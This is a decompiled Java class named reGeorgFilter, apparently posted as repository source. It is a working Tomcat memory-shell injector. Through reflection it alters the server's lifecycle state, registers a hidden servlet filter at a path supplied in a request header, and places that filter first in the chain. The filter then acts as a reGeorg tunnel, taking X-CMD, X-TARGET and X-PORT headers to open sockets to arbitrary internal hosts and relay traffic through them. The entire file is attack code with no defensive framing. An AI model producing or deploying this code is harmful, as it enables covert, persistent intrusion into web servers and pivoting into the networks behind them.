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263 lines (231 loc) · 11.2 KB
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//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package com.drops.x;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import javax.servlet.*;
import javax.servlet.FilterRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.util.EnumSet;
public class reGeorgFilter implements Filter {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String path = "/favicondemo.ico";
public reGeorgFilter() {
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addFilter());
} catch (Exception var7) {
output.append("error:" + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public String addFilter() throws Exception {
ServletContext servletContext = this.request.getServletContext();
Filter filter = this;
String filterName = this.path;
String url = this.path;
if (servletContext.getFilterRegistration(filterName) == null) {
Field contextField = null;
ApplicationContext applicationContext = null;
StandardContext standardContext = null;
Field stateField = null;
Dynamic filterRegistration = null;
String var11;
try {
contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext)contextField.get(applicationContext);
stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(filterName, filter);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
stateField.set(standardContext, LifecycleState.STARTED);
var11 = null;
Class filterMap;
try {
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Exception var21) {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}
Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
Object[] filterMaps = (Object[])((Object[])findFilterMaps.invoke(standardContext));
for(int i = 0; i < filterMaps.length; ++i) {
Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName");
String name = (String)findFilterMaps.invoke(filterMapObj);
if (name.equalsIgnoreCase(filterName)) {
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMapObj;
}
}
String var25 = "Success";
return var25;
} catch (Exception var22) {
var11 = var22.getMessage();
} finally {
stateField.set(standardContext, LifecycleState.STARTED);
}
return var11;
} else {
return "Filter already exists";
}
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])obj);
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)resp;
HttpSession session = request.getSession();
try {
String cmd = request.getHeader("X-CMD");
if (cmd != null) {
response.setHeader("X-STATUS", "OK");
int readlen;
if (cmd.compareTo("CONNECT") == 0) {
try {
String target = request.getHeader("X-TARGET");
readlen = Integer.parseInt(request.getHeader("X-PORT"));
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, readlen));
socketChannel.configureBlocking(false);
session.setAttribute("socket", socketChannel);
response.setHeader("X-STATUS", "OK");
} catch (UnknownHostException var13) {
System.out.println(var13.getMessage());
response.setHeader("X-ERROR", var13.getMessage());
response.setHeader("X-STATUS", "FAIL");
} catch (IOException var14) {
System.out.println(var14.getMessage());
response.setHeader("X-ERROR", var14.getMessage());
response.setHeader("X-STATUS", "FAIL");
}
} else {
SocketChannel socketChannel;
if (cmd.compareTo("DISCONNECT") == 0) {
socketChannel = (SocketChannel)session.getAttribute("socket");
try {
socketChannel.socket().close();
} catch (Exception var12) {
System.out.println(var12.getMessage());
}
session.invalidate();
} else if (cmd.compareTo("READ") == 0) {
socketChannel = (SocketChannel)session.getAttribute("socket");
try {
ByteBuffer buf = ByteBuffer.allocate(512);
int bytesRead = socketChannel.read(buf);
ServletOutputStream so;
for(so = response.getOutputStream(); bytesRead > 0; bytesRead = socketChannel.read(buf)) {
so.write(buf.array(), 0, bytesRead);
so.flush();
buf.clear();
}
response.setHeader("X-STATUS", "OK");
so.flush();
so.close();
} catch (Exception var16) {
System.out.println(var16.getMessage());
response.setHeader("X-ERROR", var16.getMessage());
response.setHeader("X-STATUS", "FAIL");
}
} else if (cmd.compareTo("FORWARD") == 0) {
socketChannel = (SocketChannel)session.getAttribute("socket");
try {
readlen = request.getContentLength();
byte[] buff = new byte[readlen];
request.getInputStream().read(buff, 0, readlen);
ByteBuffer buf = ByteBuffer.allocate(readlen);
buf.clear();
buf.put(buff);
buf.flip();
while(buf.hasRemaining()) {
socketChannel.write(buf);
}
response.setHeader("X-STATUS", "OK");
} catch (Exception var15) {
System.out.println(var15.getMessage());
response.setHeader("X-ERROR", var15.getMessage());
response.setHeader("X-STATUS", "FAIL");
socketChannel.socket().close();
}
}
}
} else {
response.getWriter().write("Georg says, 'All seems fine'");
response.getWriter().flush();
response.getWriter().close();
}
} catch (ClassCastException var17) {
throw new ServletException("non-HTTP request or response");
}
}
public void destroy() {
}
}